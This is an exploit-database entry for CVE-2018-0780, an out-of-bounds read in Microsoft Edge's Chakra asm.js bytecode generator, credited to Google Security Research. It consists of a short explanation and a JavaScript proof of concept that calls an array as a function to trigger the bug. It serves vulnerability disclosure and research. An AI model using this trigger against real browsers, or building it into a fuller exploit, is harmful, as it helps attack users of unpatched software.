Microsoft Edge Chakra - 'AsmJSByteCodeGenerator::EmitCall' Out-of-Bounds Read



EKU-ID: 7276 CVE: 2018-0780 OSVDB-ID:
Author: Google Security Research Published: 2018-01-18 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.
 
PoC:
*/
 
function Module() {
    'use asm';
    function f() {
        arr();
    }
 
    function g() {
    }
 
    var arr = [g];
    return f;
}
 
let f = Module();
f();